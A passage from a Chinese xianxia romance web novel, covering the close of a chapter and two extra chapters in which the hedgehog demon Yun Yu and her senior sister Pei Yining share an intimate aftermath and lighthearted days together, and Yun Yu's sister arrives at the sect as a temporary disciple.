就像师姐的那里,被她搅和的,亦是无法止歇。 水到处都是。 再这样下去,师姐真的要受不了了。 云榆适可而止地收回灵识,待到灵识彻底回归身体,她揽住师姐,探过来的手护住师姐的腹部下,轻柔地挤压存于其中的两指。 裴依宁刚经历过灵识的刺激,又被拽上新的云端。 她混乱的说不出话。 她想哭。 现在的云榆过于强势了,她应该早点换回来的,就不会让云榆发现她隐匿在那副绝色皮囊下,不为人知的一面。 裴依宁:“星星,星星……别……” 云榆哄着她:“师姐不哭,师姐喜欢的。”在一阵阵的来回中,小师姐胶着不让她离开,“师姐,你在挽留我。” 裴依宁无助地摇头,不愿让云榆看见她脆弱的一面,脸颊埋在云榆的肩上,簌簌的泪水将云榆那处衣衫打湿。 云榆顿住,上半身后仰,想看看现在的师姐是什么样子。可她往后,师姐跟着往前,只有肩膀上不断加深的湿意告诉她,师姐哭得很惨。 她心疼地放手:“师姐不哭,星星出来了。” 她顺着师姐的脊背,被师姐的泪水浇溉的没了脾气:“对不起师姐,不哭不哭。” 裴依宁摇摇头,她只是那种感觉太强烈了,本能地控制不住落泪。 云榆的声音漾入耳中:“对不起师姐,我以为你会喜欢的。” 互换身体时,师姐那般强势,让她误以为师姐喜欢强势,下手便没了轻重。 她懊恼地想扇自己两巴掌。 “喜欢的。”就在这时,细若蚊蝇,糅合着淡淡哭腔的声音响起,“不用说对不起。”她重申,“不是你的错,你不用自责。” 这个时候,师姐还不忘安慰她,云榆更加内疚自责。凭空取出一条手帕,小心翼翼地盲擦师姐脸上的泪水。 凭借感觉地在师姐脸上擦拭。 缓和了好一会儿,裴依宁逐渐从那种错乱感觉中挣脱出来,眉宇间的神情倦怠无比,是累狠了的缘故。 云榆又等了会,待到师姐肯将头从她肩膀上抬起后,她心疼地捧起师姐那张精致的脸庞,轻轻吻了下因失水而显得干涸的唇瓣。 “师姐,要不要喝点水。”云榆端起白水,径直喂到师姐唇边。 裴依宁不想说话,只轻轻地点头或者摇头表示内心所想。 喝了半杯,裴依宁摇摇头,示意不喝了。 云榆将茶杯放回去,怜惜地曲起手指点在师姐白皙红润的脸颊上。 裴依宁拉下她的手,放在双手中无意识地把玩,她捏着云榆的指,从指根捏到指尾,再从指尾捏到指根。 她玩得不亦乐乎。 云榆少见到这般幼稚孩子气的师姐,弯唇:“师姐。” 裴依宁动作顿住,从喉咙中挤出一个字来:“嗯。” 云榆笑:“好喜欢师姐。” 裴依宁:“嗯。” 云榆继续:“超级喜欢师姐。” 裴依宁:“嗯。” 云榆被逗笑了:“怎么一直嗯啊,师姐是不会说别的了吗?” 裴依宁:“……” 女人薄唇张合:“不想说话。”她停顿了下,害怕云榆多想,慢吞吞地补充上一句,“太累了。” 云榆被师姐可爱到:“嗯,是我太过分了。师姐好好休息会,等会我去弄点吃的给你。” 裴依宁摇头:“不吃,你也不准动,就这样,被你抱在怀中。” 她难得做出这种幼稚到极致的举动,云榆珍惜这样的师姐,更舍不得拒绝这样的师姐。 她下巴搭在裴依宁的发顶,哼着轻柔的小调。 裴依宁睡意袭来,在云榆的哼唱中,缓慢地闭上眼睛,在彻底睡着前,她呢喃地回应云榆前面的话:“我也好喜欢你。” 云榆哼唱的音调慢了拍,旋即恢复成原样,哄入睡的人。 洞府内的气息过于明显,云榆念动起,牵引灵力打开洞府的木窗。 暖黄色的光线洒落在洞府的一角。 云榆发现,外面又是一个夕阳沉落之景。 她和师姐好像总是在白日做这种事情。 她垂眸,入目的是师姐乌黑的发顶,呼吸间,竟是师姐的气息,怀中感知的温度,亦是师姐。 全部都是师姐。 她的世界被各种各样的师姐占据,而师姐的师姐,也被她占满。 妖族的占有欲在师姐身上得到很好的抚慰。 云榆扬起唇,闭目养神。 裴依宁这一觉睡得很沉,第二日天际掀起鱼肚白才醒来。 女人意识逐渐归拢,一睁眼,晨光而起。她失神地望了几眼窗外之景,再一动脑袋。 发生头顶似乎压着什么东西,经由她那么一动,头顶压着的东西小幅度地动了下。 是云榆。 裴依宁记起昨日的荒唐,平缓的心不住地跳动,重重撞击在心口。 她昨夜被云榆抱着睡了一夜。 这小妖乖巧听话到不成样子,她说想让云榆抱着,这小妖便抱了她一整晚。 身体不会酸吗? “早啊,师姐。”正想着,云榆刚睡醒,略带着哑意的声音响起。 裴依宁温声:“早,星星。” 见她醒了,裴依宁别开头,歪头靠在云榆的心口,仰头亲了亲小妖的下巴,她从小妖的身上下来。 她问:“还能动吗?” 云榆还未完全苏醒,意识处于懵懂的阶段:“什么?” 裴依宁在她腿上按了下。 “嘶,”腿似乎被密密麻麻的针扎过般,酥麻到动弹不得,压迫的麻占据全身,小妖忍不住倒吸一口凉气,终是明白了裴依宁那句话的意思,“好麻。” 她尝试将腿伸直,麻意更甚。 云榆龇牙咧嘴,五官扭曲的不成样子,呼吸都不敢。 她哭丧着脸:“师姐,怎么办,好麻。” 裴依宁脊背靠在桌案,双手环抱看着小妖的求助,旁若无人地捏起茶杯。 并不喝,只是用四根手指,懒懒散散地拎着。 小妖哭唧唧:“师姐,你不能不管我,这可是你压的。” 裴依宁歪头:“嗯呐,然后呢?” 小妖控诉:“你想办法,有没有什么丹药可以解除这种情况。” 裴依宁好笑:“星星,丹药可不是这么用的。” 云榆无法,小心翼翼地站起身,却发现被麻意拉扯地连走路都成问题,一瘸一拐地,有种随时会踏空的感觉。 可这明明是平地。 艰难地往前挪动两步。 她腿发软,一头跌入裴依宁的怀中,裴依宁稳稳接住她。 云榆宛如抓住了救命稻草,紧紧抱住师姐不肯松手:“师姐,完蛋了,我连走路都走不了,你能扶我去床上躺会儿吗?” 小妖撒娇地道:“求求你了,师姐,你最好了。” 裴依宁抿唇,不回答。 云榆不知道哪里让师姐不高兴了,一觉醒来,师姐竟然对她这么冷酷无情,小妖内心受到伤害。 她以为师姐清醒后,对昨日发生的事情接受不了。 毕竟昨日她的做法的确太过分了。 虽然师姐原谅她了。 她立马道歉:“师姐,昨日的事情是我的错,是我会错了意,等我麻意结束,我任由你处罚。” 裴依宁:“……” “不是这件事。”裴依宁道,“你怎么总喜欢道歉?和谁学的?” 那还能是什么,她还做了什么事情! 裴依宁闭上眼睛,指了指自己的腿,含着的声音满是难以启齿的涩意:“我也走不了。” 她从云榆身上起来时,亦是险些跌倒。 身体无力至极,否则,她也不至于一直靠在桌案边一动不动。 腿酸涩无比,灵识都缩成一团,若是这个时候有人传音给她,可能都无法传过来。 云榆:“……还是我的错。腿麻是我的报应” 作者有话说: 第118章 星星和师姐(五)[番外] 云榆俯下身, 小心翼翼地揉捏自己的小腿,掌心灵力闪过的温暖注入肌肤中,一点点平缓那份难以动弹的麻。 小妖深呼出一口气,舌尖舔在牙齿上, 慢慢地支起身, 等待那股麻意褪去大半,她轻轻踩了两下腿, 朝前走了两步, 扶进师姐的怀中。 “师姐,没那么麻了, 你呢?”云榆无辜地抬起小脑袋,笑意入了眼, 让人挪不开视线。 裴依宁望进那双棕黑色的瞳孔,从中映出自己小小的身影,她贴住云榆,轻声道:“你猜?” 语调温润,好像在说道侣间的情话, 纵容小妖的肆意妄为。 她揉揉云榆的发顶, 暖声道:“好酸。” 云榆眨眨眼, 乖巧地蹲下身, 掌心放在师姐的大腿下侧, 仰起头问:“这里吗?” 裴依宁点点头, 又摇摇头:“全身都酸。” 云榆道:“那我抱师姐去床上躺着,给师姐全身都按按, 可好?” 裴依宁:“好。” 小妖有分寸, 已经放肆过头一回了,自不会在她没缓和过来之际, 再来一遍。 被云榆拦腰抱起,裴依宁小腿自然垂下,侧头靠在小妖的心口,聆听小妖不断跳动的心脏。 她轻声道:“星星,你心跳得好快。” 云榆道:“因为在抱着师姐啊,心跳得自然快。” 裴依宁:“越来越能言会道了。” 云榆弯下唇,手臂往上一抬,裴依宁的身体跟着向上了些。 小妖将她揽得更紧了。 到床边,云榆缓而慢地将师姐放入床心,将师姐双臂刚在两侧后,她侧身坐在床边,从肩膀往下,认真为师姐按摩。 云榆手法算不得生疏,按压力度控制地很好,每每裴依宁一个表情,云榆就知道是否要加重或者放松力度,是否需要换个地方继续按摩。 “小时候姐姐总是喜欢奴役我做这些事。”云榆趁着某只樾小刺猬不在,偷偷告起状来,“不过得亏如此,让我能为师姐缓解疲惫。” 嘴上说着奴役,可神色轻松自然,笑意融融,一副心甘情愿的样子。 和姐姐分开没几天,她又开始想姐姐了。 云榆问:“师姐,我手法如何?” 裴依宁斜她眼:“尚可。” 云榆口中的气拐向一边,一面脸颊鼓鼓囊囊的,另一面脸颊瘪瘪的,不服气地:“只是尚可吗?” 裴依宁抬手,云榆了然地将脸伸过去。 女人细长的手指曲起,点在云榆鼓起的那半边脸颊。 气体流出,云榆失笑:“师姐,你好幼稚。” 裴依宁挑眉:“安静。” 云榆:“哦。” 师姐太过分了,用过即丢,连话都不让她说了。 正面揉捏好,裴依宁翻身,脊背朝上。云榆膝盖在床上转了圈,虚虚地跨坐在裴依宁的腿上,双手按压在师姐的后颈。 按摩了大半个时辰,裴依宁侧头:“好了,星星。” 她身体内蓄上一圈云榆的灵力,在对方按摩时,注入她体内,为她缓解疲倦之用的。 云榆倒到一边。 裴依宁双掌撑起,靠坐在床边,刚选择了个合适的位置,一团软物滚进她怀中,蹭蹭她的下巴,又在上面落下一吻。 云榆一条腿弯曲裴依宁腿上,头枕在裴依宁心口,勾住师姐一缕发丝,绕在指尖:“师姐今日有什么安排?” 裴依宁道:“这段时间事情不多,怎么了?” 云榆道:“问问嘛,突然想到回宗门后,我们都没怎么正经去修炼过。” 裴依宁不置可否:“杜师妹这些天没抓你?” 云榆耸肩:“许是杜师姐这几日也在忙吧。” 自从杜师姐成为执法堂新一代的执法者之一,来回转轴在执法堂和剑法阁间,平衡二者的关系。 云榆都有些害怕若是哪日杜师姐选择完全投身于执法堂,都无人可继承杜师姐的衣钵。 阁内好像无人能如杜师姐那般,和各个峰阁的师姐们都认识,想方设法地从各大峰阁抠东西。 今日灵丹堂弄点丹药,明日器物堂寻些器物,后日再跑去阵灵阁混点符纸。 没了杜师姐,剑法阁该怎么办啊。云榆忍不住想。 想起杜师姐的称职,云榆将矛头指向不作为的师姐:“裴师姐,你怎么不日日去灵丹堂看着师姐妹们修炼,你这太不称职了,小心哪日执法堂再捅到宗主面前。” 就像是不久前因为频繁考核,被执法堂上了一本。 裴依宁顺着她的脊背,似有若无的触感游走在肌肤中,云榆有种灵魂被抽走,又被放下的来回感。 裴依宁眉目柔和:“我若日日去,她们该要胆战心惊了。” 一想到灵丹堂的同门见到裴依宁与老鼠见了猫没多大区别的样子,云榆默默收回方才的话。 她不能害了灵丹堂的同门。 日光移动,云榆摸摸肚子,该到吃饭的时间了。 裴依宁含了枚丹药入口,云榆眼尖地看见了,她下意识问:“师姐不是说,丹药不是用在这种地方的吗?” 等精神好了些,裴依宁淡淡道:“没说不能用。” 云榆:“那治疗麻意的丹药。” 裴依宁:“没有主治这种的,但总有丹药有这方面的作用。” 云榆:“……” 她知道了,是她不配吃。 云榆委屈地吸吸鼻头:“坏师姐。” 裴依宁无所谓地歪下头,扯了下唇角,不置可否。 她当然是故意的,就连昨晚窝在云榆怀中睡一夜都是故意的。长久压迫,血液流通不畅通,自是会发麻。 小惩大诫,云榆将她欺负得那么惨,她总要还点回去。 裴依宁下了床,曲指抵在云榆鼻息间:“好了,不准装可怜了。” 云榆小声反驳:“我没有。” 裴依宁顺着她:“嗯嗯嗯,没有,没有。”她整理衣袖,内视空间储物,里面食材不多。 回到宗门后,她没怎么下厨,和小刺猬多是吃的膳食堂。 今日来了兴致,裴依宁道:“好点了吗?给我打打下手。” 听到师姐要下厨,云榆眼睛一亮,点头如捣蒜。 小妖的厨艺虽不好,但胜在听话,裴依宁让做什么,便做什么,乐呵呵的。 洗完一份大白菜,云榆甩甩占满水珠的手,缓步来到裴依宁身后,下巴怼在师姐肩膀,双手拢住师姐的腰身,视线定格在锅内颜色渐渐加深的菜品上。 裴依宁侧头和她碰了碰:“要学吗?” 云榆笑:“我在这方面天赋太差,怕师姐嫌我笨。” 之前有一次裴依宁教她,不过转身拿点东西的时间,她就将菜炒成碳色,好不丢妖脸。 她的音色坠着上扬的调,下巴有一下没一下地磕着。 火苗攒动,香气浮动。 裴依宁抄起锅内菜品,示意云榆端到桌面去。 又做了几样菜,荤素皆有,配之一汤。 午饭过后,云榆和裴依宁去了趟灵丹堂,随后云榆本着不能太过分的念头,在杜寻雁主动找过来之前,她前往剑法阁的练剑之地修炼。 裴依宁一如既往地待在安全区内,寻着一本丹药古籍翻阅,时不时会抬头看看前面舞剑的人。 岁月静谧美好,裴依宁眉宇间尽是一片柔和之色,两根手指拧着书页,恍惚间,她好像许久没有闭关了。 最近的一次出关是在膳食堂遇见小刺猬那次。她指腹无意识的揉弄纸页,素来在她手中整洁到极点的纸页出现点点褶皱。 裴依宁回神,盯着那处小褶皱,合上书页,凝视不远处的小妖。 身形飘逸灵动,与未曾表明身份前的剑法有气势许多。 她的星星,是在她的见证下,一点点成长的。 裴依宁有种未完的成就感。 额前碎发忽地被掠起,是小妖故意将剑气引到了她这边。 见吸引到裴依宁的目光,小妖洋洋得意地笑了笑。 裴依宁又记起曾经一次,小刺猬背着被身体大许多的剑在草丛中行走。 她想再看看小刺猬那副样子。 待到云榆一式结束,裴依宁对着小妖挥挥手。 云榆快步而去:“师姐。” 长剑挽在身后,她蹲在裴依宁身前,趴伏在女人膝盖上,灵动的眸子转来转去。 裴依宁抬眼,那柄长剑伸直小妖头顶上方,剑锋折出更冷的芒。 她接过云榆的剑,食指挑起云榆的下巴,眼神描摹小妖的五官和脸部轮廓线。指腹忍不住顺着滑动。 “星星,”裴依宁道,“变回本体。” 云榆一愣,继而翘起唇角:“师姐,怎么回事啊,从前我常用本体时,你要我化为人形,现在我常用人形,你又要看我本体。” 裴依宁道:“总要有新鲜感。” 云榆:“那她日师姐把我人形和本体都看腻了呢?” 裴依宁道:“对你,永远有新鲜感。” 云榆低眸浅笑,侧脸贴上师姐的腿,闭目,念动,身体被一圈灵光覆盖。下一瞬,一只小刺猬出现在女人的腿上。 小刺猬颇为神气地叉起腰,短小的脖颈连着身体,不仔细看无法分辨出,漆黑圆溜的眼睛炯炯有神。 脊背的刺略微扎气,是在有点小脾气的样子。 小刺猬的脾气比云榆人形大一些,可心是一样的柔软。 “看吧。”小刺猬骄傲地摆弄自己的身体,“本星星的身体,今日让你看个够。” 好傲娇的小刺猬啊。 裴依宁摊开掌心,小刺猬一爪子拍过去:“本星星记仇。” 裴依宁:“嗯?” 小刺猬哼哼唧唧地:“经过一圈,是不是发现,还是本星星大人的本体最好看,最可爱,最精神!” 裴依宁若有所思,本体的小刺猬更有活力。 她应下:“是。” 她将灵剑递给小刺猬:“星星,背上它。” 小刺猬看着那柄比她长许多的灵剑,嘴角抽搐:“你要看它压死我。” 裴依宁温声道:“怎么会,你是这把灵剑的主人,她受命于你,只听从你一妖的话。” 小刺猬被说动,双爪环抱,歪头,一只眼睁着,一只眼闭着,眉心拧着,嘴巴微微歪着,一副不情不愿,却又憋不住高冷样子,嘴角忍不住翘起,再被小刺猬强行压下。 不能笑。小刺猬在心底默念。 小刺猬的形象不能丢,她高冷地丢下一句:“谁让我是一只好老大,愿意满足小跟班的愿望。”她哼哧哼哧,“能当我小跟班,你真是幸运。” 裴依宁听着小刺猬自卖自夸,只一个劲地“嗯嗯嗯”,“是是是”。 见小刺猬脊背的刺越炸越开,裴依宁适可而止地停住简单的敷衍,认真地敷衍起来:“能成为星星大人的小跟班,是我最大的幸运,感谢星星愿意收我当小跟班。” 小刺猬:“那是。” 小刺猬滚成球,从女人腿上落下。圆溜溜的身体在地上转了几圈才停下。 小刺猬站起身,拍拍身子,爪子一伸:“剑给我。” 裴依宁将剑扔给小刺猬。 小刺猬连忙抬起爪子,左摇右晃地接住下坠的灵剑。 然而,灵剑比她的身体大太多,灵剑仅在小刺猬爪子上停留半秒,就势不可挡地向下压去。 小刺猬直接被压趴,大半个身体被灵剑压住。 小刺猬:“……” 裴依宁身体向前探去,本能地要去捞小刺猬,但脚尖刚动,她重新坐回去。 小刺猬已经自己坐了起来。 裴依宁当做没看见。 不然小刺猬的自尊心又要没了。 “我看见了。”小刺猬悠悠地。 裴依宁笑出声:“抱歉。” 小刺猬攥紧爪子,气得一连往空气垂了七八次,愤愤不平地表示:“你不是说灵剑只听从我一人的话吗!” 裴依宁迟疑:“灵剑可能误会你的意思了。” 小刺猬暗声道:“可恶。” 她拎起灵剑,双爪牢牢握住灵剑,询问:“只是背着吗?” 裴依宁:“嗯嗯嗯,是的。” 小刺猬按照裴依宁想看的,将灵剑背在身上,但她立着,长剑距离地面太低,剑尖抵在地上。 小刺猬不得不像过往那般,半弓着背,让剑体从她的头顶伸过去,几乎与她的脑袋相贴,剑尖垂下,与地面相差无几。 小刺猬低着头:“这样吗?” 裴依宁道:“背过身去,往前跑。” 小刺猬:“小跟班,你要求有点多了。” 裴依宁抿唇:“不可以吗?” 小刺猬认命:“可以!” 谁让她是世界上最好的星星大人呢。 小刺猬调转身形,朝着一个方向跑去。因为剑体的原因,她的身体摇摇晃晃,灵剑在她身上亦是晃晃悠悠,随时有将小刺猬再度压倒的可能。 隐约间,裴依宁看见小刺猬后面的一小点,翘翘的,若不仔细,难以窥见。 是小刺猬的尾巴。 上次她便注意到了。 星星哪里都是可爱的。 小刺猬跑得气喘吁吁,等跑到这间练剑之地的尽头,她转过身,往回跑。 小刺猬的正面露出,最先映入眼帘的是小刺猬的小肚子,而后是不断摆动的四肢。小刺猬有时会抬起小脑袋,估测前方的距离。 等跑回来,小刺猬翻身将灵剑别下来,微微喘息着,单爪撑着小肚子,笑眯眯地等待夸奖:“怎么样,小跟班,看完满意吗?” 裴依宁点点头:“嗯。” 小刺猬道:“好了,我现在要休息会。” 裴依宁道:“星星。” 小刺猬慢悠悠地爬上裴依宁的腿上,寻了个舒服的位置,以标志性的四仰八叉的动作趴着:“说。” 裴依宁道:“我想摸摸你的尾巴。” 小刺猬没听清:“摸什么?” 裴依宁重复:“摸摸你的尾巴。” 听清的小刺猬瞬间炸毛,一双眼睛紧紧盯着裴依宁:“你说什么!” 裴依宁顿了顿:“可以吗,星星?” 小刺猬咬紧牙关,脸颊在抽搐。 竟然要摸小刺猬的尾巴,她这个老大是不是对小跟班太好了,让小跟班敢肆无忌惮地和她提这种要求了。 笨蛋裴依宁,她知不知道刺猬的小尾巴不能被轻易触碰。 那是她云小刺猬的尊严。 小刺猬从裴依宁腿上爬起,气势不减:“可以……” 没办法,她宠她家小跟班! 裴依宁扫过小刺猬脊背炸开的刺,沉默片刻,道:“不摸也没关系。” 星星睁大眼睛,她都同意给小跟班摸了,小跟班为什么突然不摸了。 是在挑衅她云小刺猬吗? 云小刺猬恶狠狠地:“不行,必须摸。” 裴依宁被小刺猬陡然拔高的声线惊到,她停了下,眼底存着暖:“好的,谢谢星星大人,星星大人是世界上最好的小刺猬。” 小刺猬喜欢听的,在日久的相处中,裴依宁已熟记在心,简单夸赞的话语张口就来。 和小刺猬学坏了。 小刺猬的毛被捋顺些,炸开的毛发肉眼可见地软下。小刺猬慢慢趴回去,不动声色地转动身体,用脊背对着裴依宁,将短小的,难以窥见的小尾巴露出来。 她小而轻的声音落在裴依宁耳中:“摸吧。” 裴依宁指尖点在尾巴偏上方的刺上,顺着一点点往尾巴的方向滑动。 小刺猬禁不住颤动。 温热的指尖触及到那点,小刺猬身体瞬间僵滞住。那一小点被两根手指捏住,很柔和地捏了两下。 小刺猬耳朵通红一片,一言不发。 裴依宁:“星星的尾巴,只有一点点。” 小刺猬脸颊发烫:“嗯……” 裴依宁:“好可爱。” 小刺猬:“要你说!” 小刺猬脸颊越来越红,藏在刺下的肌肤亦是滚烫无比,她觉得自己被扔进了沸水中,快要被煮熟。 裴依宁满足地叹息:“我能拎着尾巴将星星提起来吗?” 小刺猬:“……” 师姐也会这般得寸进尺吗? 但已经做到这一步了,过往也不是没有被师姐提着脸颊或者是爪子拎起过,多一次不多,少一次不少,即使是尾巴…… 即使是尾巴也没关系! 小刺猬给自己做足心理建设。弦著副 她弱弱地开口:“嗯。” 裴依宁故意逗她,装作没听见般:“星星,可以吗?” 小刺猬本就脸红心跳,又被一再追问,化羞耻为声音,大声道:“可以!不准再问了!再问就不给你摸了!” 她云小刺猬不要面子的吗?这件事若是传出去,她云小刺猬还如何行走江湖。 这可比她过往所犯过的蠢事还要跌面。 但在师姐面前,她早就没有形象了。 说完没听见裴依宁的声音,小刺猬以为是吓到小跟班了。 她一时间忘记羞涩,转身去看裴依宁的脸色,女人怔怔地注视她,呆愣愣的。 小刺猬心下懊恼,忽略了裴依宁身为灵丹堂的大师姐,这么多年,什么风浪不曾见过。她们的关系又有多么的亲密,怎么会被她吓到。 “我没有要凶你的意思,我的意思是你可以拎,怎么拎都可以。”她主动将小尾巴怼到裴依宁两指间。 她的尾巴太短,难以放到小跟班的掌心:“拎吧,我做好准备了。” 裴依宁回神,她不过是在想捏着这点尾巴将小刺猬拎起,会不会让尾巴承受太多的重量,继而受到损伤,不想却被小刺猬误解了。 小刺猬依旧是初见的那只心容易软到不行的小刺猬。 灵力包裹住小刺猬,承接住小刺猬身体大部分重量,随后裴依宁捏住小刺猬短小的尾巴,将其拎起。 小刺猬脑袋朝下,双爪抱头,下肢本能地一蹬一蹬的。 那点尾巴也因主人的羞意而染上绯红。 裴依宁感受到了,她温柔的将小刺猬放到掌心,拎着小刺猬尾巴的手松开,该放到小刺猬的脊背上。 小刺猬睁开眼:“师姐方才被星星吓到了吗?” 裴依宁摇摇头:“没有,只是在想星星对我太好了,什么都任由我。” 小刺猬道:“你不仅是本星星的小跟班,是我的道侣,而且,师姐对我也很好。我们是相互的。” 裴依宁点点小刺猬的额头:“星星,想要你化为人形。” 师姐想亲你。 小刺猬化为人形。 裴依宁曲指点在唇上,云榆了然,凑上去,碰了碰师姐的唇。 “师姐,在外面,等回去再亲你。”云榆安抚道。 裴依宁失笑,她有那么急不可耐吗? 她正欲说话,灵识内突然收到一道传音。 【明越宗进来一位临时弟子,名为云樾。是云师妹的姐姐。】 作者有话说: 四处游玩的姐姐到宗门逛逛【你现在阅读的是 】 【END】 第119章 星星和师姐(六)[番外] 是原以诗传过来的音。 宗主闭关, 宗门内大小事宜皆由宗主的亲传弟子与原以诗两人负责。 在问玉宫,原以诗与云樾有过几面之缘,是以在看见写着对方名姓和留影石上的影像,确定是对方后, 纳闷的同时, 即刻将消息传了过来。 宗门每年会向天下召集一部分临时弟子入宗,考核相较之正式弟子要简单点。在成为临时弟子期间, 若是天资被开发, 达到要求,即可成为宗门的正式弟子。 是以许多天资算不得好亦或者是因为正式招收弟子时, 因各种原因未能参加的人,将其当做进入宗门的踏板。 这样的机会每人只拥有一次, 每年真正能通过此方法入宗门的更是寥寥无几。 但能在宗门内感受一下氛围也是好的。 裴依宁传音回去:【云姐姐?现在在哪?】 原以诗传音:【中央正殿,本次临时弟子的日期是一个月。我观云樾入宗的测试,表现极为优异,她若是想,完全可以成为明越宗的正式弟子。许是只是过来看看云师妹的。】 云樾展现出的实力和能力即使是宗门内许多资历高深的同门都无法达到。但她毕竟与问玉宫关系匪浅, 自不可能入宗。 原以诗只能将其归结到云榆身上。 她并不知晓云樾如今同问玉宫的关系。 原以诗的传音再次而来:【清凡正在讲入宗事宜, 约莫还有两柱香的时间, 你和云师妹可到正殿外等待。】 裴依宁应下。 云榆只觉得师姐长久地停顿住, 面上有惊讶闪过, 以为是师姐还在等她亲, 她左顾右盼,四下无人, 小妖又快速地凑过去, 唇很轻地贴了下裴依宁的嘴角。 裴依宁瞳仁颤动,有了反应。 云榆扭捏:“师姐。” 在小妖又一次要探身过来时, 裴依宁一根手指抵在小妖的唇上,细长手指弯曲,将云榆的唇揉捏成扁。 她道:“等会,星星,师姐方才收到一道传音。” 云榆:“杜师姐的?” 裴依宁微微摇头,将原以诗传音的内容大致说了遍后,道,“云姐姐现在在中央正殿。” “啊?”云榆不可思议地瞪大眼睛,“姐姐来了?还成了明越宗的临时弟子?” 裴依宁淡定地点点头,五指一合:“好啦,小声点。我们去接云姐姐。” “什么姐姐。”云榆整理衣衫,将略有凌乱的发丝理好,拍拍身上并不存在的灰尘,干咳两声,头颅高傲地扬起,“那是师妹。” 裴依宁:“……” 云榆拉起裴依宁往中央正殿赶去,口中念叨有词:“她比我入宗晚,即使只是临时弟子,那也应当称呼我一声师姐。” 在云樾来了的欣喜中,她不忘为自己谋取福利。 一想到等会云樾要叫自己师姐,云榆嘴角抑制不住地上扬,整只妖活力四射。 但没走两步,云榆陡然间停下。 裴依宁好奇:“怎么了?” 云榆道:“姐姐不告而来,还通过宗门的临时弟子考验,多半是为了给我惊喜,我现在直接过去,姐姐准备的这份惊喜不就没有了。” 裴依宁若有所思地点头:“的确是。” 云榆为自己的聪明得意:“那就假装不知道姐姐来吧。” 她不仅是位好道侣,还是位合格的妹妹。 看看,她多了解姐姐的想法。 裴依宁:“依星星的意思,我们现在回去吗?” 云榆摆摆手:“回去做什么,这条路是姐姐的必经之路,我记得这附近不远处就是任务阁,等会就当刚提交完任务,恰好与姐姐遇见就是。” 裴依宁想了想,同意了这个漏洞百出的方法。 如云榆所言,这条路是通过临时弟子住所的必经之路,这次入宗的临时弟子经过筛选,仍旧有百十人。 云樾夹在这百十人中,不紧不慢地跟随前人的步伐。女人姿容优雅,眉眼间与云榆有两三分相似之处,眼下方的泪痣,为女人增添了几分柔美。 她不动声色地扫过路边的一块巨石,眼底有无奈染过。 云榆拉着裴依宁藏身巨石后,见云樾超过此处,她扯住师姐,身形晃动,下一瞬,出现在任务阁殿前。 遥遥看见人群中的云樾,云榆拐了下师姐,示意可以行动了。 她揉揉脸,调整表情,迎着马上要经过此处的云樾等人而去。 另一边,感知到小刺猬气息不断逼近,云樾速度慢下,不多时,便是落到了百十人的最后面。 这些人只是入宗学习一个月,彼此间互不认识,没人会特意关注云樾,无意中注意到了,也没有好心到提醒对方走快点。 间距在不断拉大,云樾落后前人十数米。 在前方带路的原以诗察觉到,并未多说什么,早在认出云樾后,两人短暂传过音。 云榆一眼认出落后的姐姐,恨铁不成钢地:“姐姐怎么这样,我入宗都是争当第一,她入宗是来争当倒数第一的?” 裴依宁淡笑不语。 “不过这样也好,省得当着一群人的面相认。”云榆舔了下唇,压着的笑溢出,“得想办法让姐姐叫我师姐才行。” 她心心念念这点。 在即将遇上之际,演了一路的云榆啪地将手中的空令牌塞入裴依宁手中,故作震惊地:“姐姐!”她三步并做两步,一副害怕眼花,用力揉眼睛辨认前方人,“真的是你,姐姐。” 云樾:“……”她默默和裴依宁对视一眼,裴依宁小幅度地摊开手。 云榆一把抱住姐姐:“姐姐,你怎么入宗都不告诉我,要不是我正好和师姐来任务阁交接任务,岂不是都不知道你入宗。” 云樾似笑非笑:“不知道我入宗?” “是啊,”云榆勾住云樾的胳膊亲亲昵昵地蹭蹭白衣女人,“咦,姐姐是如何入宗的?” 本着演戏演到底的念头,云榆好似真的什么都不知道般,拽着云樾问东问西。 裴依宁走在姐妹二人身后,望着眼前温馨和谐之景,垂眸浅笑。 云姐姐的身体好了。 云榆不用担心了。 “临时弟子啊,”云榆眼珠子开始转动,有意提了嘴,“这样算,我成了姐姐的师姐?” 云樾隐约猜出她要说什么,歪头含笑:“嗯嗯嗯,那云榆师姐有打算教我点什么吗?” 云榆为一声“师姐”开心到,双唇紧抿,身体绷紧才堪堪抑制住高昂的情绪,她无所谓地摆摆手:“哎,云樾师妹都这样说了,师姐我自然会教你的。” 一妖被叫,云榆决定让裴师姐也体会一把这种倒反天罡之感,她反身拉过裴依宁:“这位是你灵丹堂的裴师姐。” 裴依宁急忙制止:“云姐姐唤我名便可。” 云樾笑笑,曲指敲过云榆的额头:“怎么一副长不大的样子。” 一如既往地幼稚。 云樾眼底注满宠溺。 云榆做了个鬼脸,忽而记起什么,她勾住云樾的脖颈,带得云樾不得不半弯下腰,头微微前伸去抵抗这股力。 小妖问:“姐姐,你过来此处,问姐姐没跟着一同过来吗?” 云樾身体微僵,随口道:“她一宫之主,事务繁忙,轻易不得离开。” 云榆“哦”了声,没追着问,反倒是追着云樾明知故问,一会问对方为何选择当临时弟子,一会询问对方是不是想自己了。 云樾好脾气地一一回应。 “对了,姐,你今晚睡我那里吧。”临时弟子的待遇不如正式弟子,她的洞府虽小,可五脏俱全,该有的都有,姐姐能住得舒服许多,“当然,如果你一只妖害怕,本小刺猬可以陪你。” 云樾:“那你师姐怎么办?” 云榆道:“我和师姐未来有好长的时间,但姐姐最多只能留在宗内一个月。我想在这段时间多陪陪姐姐。” 她和姐姐在问玉宫重逢的那段时间,每日不过一两个时辰的相处时间。 她好多年没和姐姐同睡一张床,谈天说地地畅想未来了。 她了解师姐,师姐定然会支持她的选择。 小妖传音给师姐说明想法,果不其然得到了师姐的同意。 【自然,云姐姐初来乍到,你自是要陪在身边的,我这里,你日后再补偿师姐便是。】裴依宁道。 她对云榆当然有占有欲,但她分得清情况。她和云榆未来漫长,她愿意分出这部分时间,让小妖多与姐姐相处。 云榆会很快乐,不是吗? 云樾经过半日的考验,精神疲乏,进入云榆洞府没多久,便是困意翻涌,忍不住在云榆的床上睡去。 云榆和裴依宁自觉退出,让姐姐好好休息。 洞府外,云榆绕过大半个洞府,和裴依宁躲在洞府后方的石墙处,念动间,一把椅子出现。 云榆将裴依宁推到椅子边坐下,随即坐在师姐腿上。 她的情绪不如在云樾面前的高,好似一瞬间丧失了所有的力气,歪歪扭扭地伏在裴依宁心口,恹恹地耷拉着脑袋。 裴依宁抚摸她的发顶:“见到云姐姐不开心吗?” 听见云樾来时,云榆的开心肉眼可见,在见到时,亦是精神满满,怎么现在出来了,反倒是失魂落魄的。 云榆喉咙滚动,唇齿蠕动,片刻后,她道:“姐姐和问亦云出问题了。” 